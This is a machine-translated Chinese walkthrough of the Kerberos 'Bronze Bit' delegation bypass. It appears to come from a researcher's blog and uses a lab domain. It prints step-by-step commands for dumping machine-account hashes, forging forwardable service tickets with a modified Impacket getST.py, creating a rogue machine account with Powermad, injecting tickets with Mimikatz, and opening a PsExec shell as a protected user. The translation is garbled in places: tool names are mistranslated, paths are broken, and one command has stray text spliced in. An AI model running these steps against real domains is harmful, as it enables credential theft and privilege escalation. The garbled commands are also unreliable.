Kerberos安全功能绕过漏洞
该漏洞的一般攻击路径如下:
- 攻击者在AD环境中立足。
- 攻击者获取环境中服务的密码哈希。我们将此服务称为“ Service1”。攻击者可以通过多种方式获得必要的哈希,例如DC Sync攻击,Kerberoasting,甚至可以通过Powermad使用SPN创建新的计算机帐户。
- Service1与另一个服务具有受约束的委派信任关系。我们将其称为“ Service2”。此信任关系可以是下列之一:
- 如果攻击者对AD中的Service2对象具有写权限(GenericAll,GenericWrite,WriteOwner等),则攻击者可以将Service1添加到Service2的“ PrincipalsAllowedToDelegateToAccount”列表中。这不需要Elad Shamir和Will Schroeder所述的域管理员特权。
- Service1配置为执行对Service2的约束委派。也就是说,Service2在Service1的“ AllowedToDelegateTo”列表中。
- Service2配置为接受来自Service1的基于资源的约束委派。也就是说,Service1在Service2的“ PrincipalsAllowedToDelegateToAccount”列表中。
- 攻击者利用此漏洞充当Service1,并获得Kerberos服务票证作为Service2的目标用户。
- 攻击者冒充目标用户,向Service2提供服务票证。攻击者现在已作为目标用户向Service2进行身份验证,并且可以在目标用户的权限下与Service2进行交互。
利用实施
青铜位漏洞已被开发为的延伸Impacket从在好乡亲框架SecureAuth。一个拉请求目前正在等待新开发的功能合并。Impacket内有很多强大的功能,但是我们对getST.py程序感兴趣。让我们首先回顾一下没有利用漏洞的程序功能。在第4步,我们将从上方跳入攻击路径。假设我们已经获得了Service1的哈希值,Service1与Service2具有受限的委托信任关系,并且我们试图以目标用户身份获得对Service2的访问权限。
可以使用getST.py程序执行S4U交换并以指定用户的身份获得指定服务的服务票证。如果允许Service1执行协议转换(即使用“ TrustedToAuthForDelegation”进行配置),并且未保护用户免受委托,则执行将类似于以下内容:
利用最终的服务票证,攻击者可以模拟目标用户并成功与Service2进行交互。但是,如果不允许Service1执行协议转换或保护用户免受委托,则在S4U2self交换中获得的中间服务票证将不可转发,并且S4U2proxy请求将失败。
力转发标志
Bronze Bit漏洞已被实现为getST.py程序的扩展。我添加了一个新的-force-forwardable标志,可以将其作为命令行参数传递。如果存在-force-forwardable标志,则在S4U2self交换后执行漏洞利用。由KDC在S4U2self交换中返回的服务票证将使用Service1的长期密钥,其可转发标志设置进行解密,然后重新加密。更改后的票证将附加在S4U2proxy交换中,KDC将作为目标用户返回Service2的服务票证。
绕过限制并准备好服务凭单后,攻击者即可模拟目标用户并与Service2进行交互(攻击路径中的步骤5)。
示例攻击#1
让我们看看实际的攻击。在这种情况下,我们将看到利用该漏洞的方法,我们可以绕过“信任此用户以仅委派给指定服务–仅使用Kerberos”保护,并冒充受委派保护的用户。我们将从一些初始环境设置开始。
环境配置
我们的测试域(test.local)具有3台运行Windows Server 2019版本的服务器,但未修复此漏洞。我们将从作为Service1服务器上的User1的立足点发动攻击。我们将定位到对Service2服务器具有管理访问权限的User2。我们将与域控制器(DC)交互所有Kerberos票证。
在DC上,对Service1进行配置,以使其可以执行受约束的委派,而无需协议过渡到Service2。这样可以确保满足攻击路径第3步的条件。如果在Active Directory GUI中设置了此配置,则它将类似于以下内容:
仍然在DC上时,还要更新User2帐户,以防止其受委派。可以使用“敏感帐户,不能委托”属性配置该帐户。该帐户也可以成为“受保护的用户”组的成员。这些配置更改中的一个或两个都等效于此演示:
- 使用“帐户敏感且无法委派”属性配置User2:
- 将User2添加到“受保护的用户”组中:
执行攻击
退出域控制器,并以User1身份登录Service1服务器。这模拟在环境中立足(攻击路径中的步骤1 )。启动PowerShell会话,并确认User1和Service1当前无法在其自己的授权下访问Service2。
命令:
- ls \ service2.test.local c $
- 。 PSTools PsExec64.exe \ service2.test.local powershell.exe
执行:
我们已经确认User1无法直接访问Service2。我们继续攻击路径的第二步:获取Service1的哈希值。在这种情况下,我们将使用Impacket的secretsdump.py程序来获取Service1机器帐户的AES256-CTS-HMAC-SHA1-96和LM:NTLM哈希。
命令:
- python。 impacket examples secretsdump.py'test / user1:<user1_password> @ Service1.test.local'
执行:
在获得必要的哈希之后,我们将首先尝试在没有-force-forwardable标志的情况下执行getST.py程序。这将按预期失败。如前所述,S4U2self交换机仍将服务票证返回给用户2的Service1,但是由于服务的委派限制和用户免受委派的保护,未设置该票证的Forwardable标志。当票证在S4U2proxy交换中用作证据时,这会导致错误。
命令:
- 。 impacket examples getST.py -spn cifs / Service2.test.local-模拟User2-哈希<LM:NTLM哈希> -aesKey <AES哈希> test.local / Service1
执行:
我们所有人都在等待的时刻:让我们运行漏洞利用程序!这是我们攻击路径的第4步。我们将重复前面的命令,但是这次包括-force-forwardable命令行参数。
命令:
- 。 impacket examples getST.py -spn cifs / Service2.test.local-模拟User2-哈希<LM:NTLM hash> -aesKey <AES hash> test.local / Service1 -force-forwardable
执行:
哇!激动人心的东西!让我们专注于几行输出:
来自S4U2自身标志的服务票证:00000000101000010000000000000000
S4U2self的服务票不可转发
强制服务票证可转发
修改后的服务票证标志:01000000101000010000000000000000
现在可以转发来自S4U2self的服务票证
通过包含-force-forwardable标志,该漏洞利用会自动执行,并将从S4U2self交换机收到的服务票证转换为可转发票证。这是通过使用Service1的哈希值解密票证,将标志值的第二个位从0更改为1并重新加密票证来完成的。此可转发票证在S4U2proxy交换中发送,并且作为User2的Service2的服务票证被返回并写入User2.ccache的磁盘。
接下来,我们将使用Mimikatz将服务票证加载到票证缓存中以供使用。加载后,我们将看到Mimikatz确认这是User2到Service2的cifs服务的有效票证。
命令:
- 。 mimikatz mimikatz.exe “ kerberos :: ptc User2.ccache”退出
执行:
将服务票证添加到缓存后,我们现在就可以像访问User2一样访问Service2了。我们拥有User2在Service2上的所有权限。我们将使用Mark Russinovich的PSExec在Service2服务器上获取PowerShell会话,并运行一些命令。这是攻击路径的最后第五步。
命令:
- ls \ service2.test.local c $
- 。 PSTools PsExec64.exe \ service2.test.local powershell.exe
执行:
我们终于得到它了。我们已经翻转并滥用了Kerberos委派,以通过模仿受保护的用户来提升我们的特权并损害其他服务。
示例攻击#2
让我们探索具有不同起始条件的另一条攻击路径。在这种情况下,我们将看到成功折衷Service2所需的全部AD中Service2对象的写权限。
环境配置
我们将继续使用上一个示例中的环境,并进行一些修改。目标User2帐户可以保留其配置为“受保护的用户”成员的身份,或使用“帐户敏感且无法委派”属性来保持其配置。
首先,删除Service1的委派权限。连接到DC并使用“不信任此计算机进行委派”配置Service1。
编辑Service2计算机对象,向User1授予写权限。当我们直接向立足用户授予权限时,用户通常将通过特权组的成员身份获得对一个或多个AD对象的写权限。用户不一定需要是域管理员。
执行攻击
退出域控制器,并以User1身份登录Service1服务器。像以前一样,这模拟了在环境中的立足点(“攻击路径”中的步骤1 )。如果您从第一个示例继续,请确保清除本地Kerberos票证缓存。清除缓存的最有效方法就是重新启动Service1。
与我们之前的示例不同,此攻击不会利用Service1和Service2之间的任何委派信任关系。在将Service1配置为“不信任此计算机进行委派”之后,此信任关系不再存在。我们需要与Service2建立新的委派关系,这是一次全新的服务。
要在环境中的新服务,我们将使用凯文·罗伯逊的Powermad创建一个新的计算机帐户。这不需要提升的特权,并且默认情况下该域中的任何用户均可使用。我们将机器帐户命名为“ AttackerService”,并提供一个任意密码:“ AttackerServicePassword”
命令:
- 导入模块。 Powermad powermad.ps1
- 新MachineAccount -MachineAccount AttackerService -Password $ (的ConvertTo-SecureString的'AttackerServicePassword' -AsPlainText -Force )
执行:
由于我们选择了新机器帐户的密码,因此我们可以使用Mimikatz轻松计算出相应的密码哈希。这将完成攻击路径的步骤2。
命令:
- 。 mimikatz mimikatz.exe “ kerberos :: hash / password:AttackerServicePassword / user:AttackerService /domain:test.local”退出
执行:
让我们使用PowerShell Active Directory模块检查我们新创建的机器帐户。由于该模块尚不可用,因此我们将安装相应的功能,导入该模块,然后检查我们新创建的计算机帐户。
命令:
- Install-WindowsFeature RSAT-AD-PowerShell
- 导入模块ActiveDirectory
- Get-ADComputer AttackerService
执行:
确认机器帐户的存在之后,我们可以在Service2和AttackerService之间建立约束委派信任关系。由于User1(我们的受控立足帐户)对Service2对象具有写权限,因此我们可以将AttackerService添加到Service2的PrincipalsAllowedToDelegateToAccount列表中。这将在Service2上建立基于资源的约束委派,并从AttackerService接受约束委派。完成此步骤后,我们就满足了攻击路径第3步的条件。
命令:
- Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService $
- Get-ADComputer Service2-属性主体AllowedToDelegateToAccount
执行:
我们准备继续执行攻击路径的第4步并执行漏洞利用。我们将使用与上一个示例相同的命令,但是这次指定AttackerService而不是Service1,并且使用Mimikatz计算哈希值。当在命令中包含-force-forwardable标志时,我们将看到与上一个示例相同的结果。执行漏洞利用,设置可转发标志,并将作为User2的Service2的服务票证写入User2.ccache的磁盘。
命令:
- 蟒蛇 impacket 例子 getST.py -spn CIFS / Service2.test.local -impersonate用户2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local / AttackerService -force-forwardableet-ADComputer客服2 -PrincipalsAllowedToDelegateToAccount AttackerService $
执行:
现在,我们可以简单地重复上一个示例中的最终命令。通过使用Mimikatz将服务票证加载到我们的本地Kerberos票证缓存中,我们将为攻击路径的第5步做准备。然后,我们将通过与Service2进行交互(模拟User2)来执行步骤5。
命令:
- 。 mimikatz mimikatz.exe “ kerberos :: ptc User2.ccache”出口| 空空
- ls \ service2.test.local c $
- 。 PSTools PsExec64.exe \ service2.test.local powershell.exe
- 我是谁
- 主机名
执行:
就这样!通过我们对Service2 AD对象的立足点和写许可权,我们已经使用了应该受到这种委托保护的用户权限来破坏服务。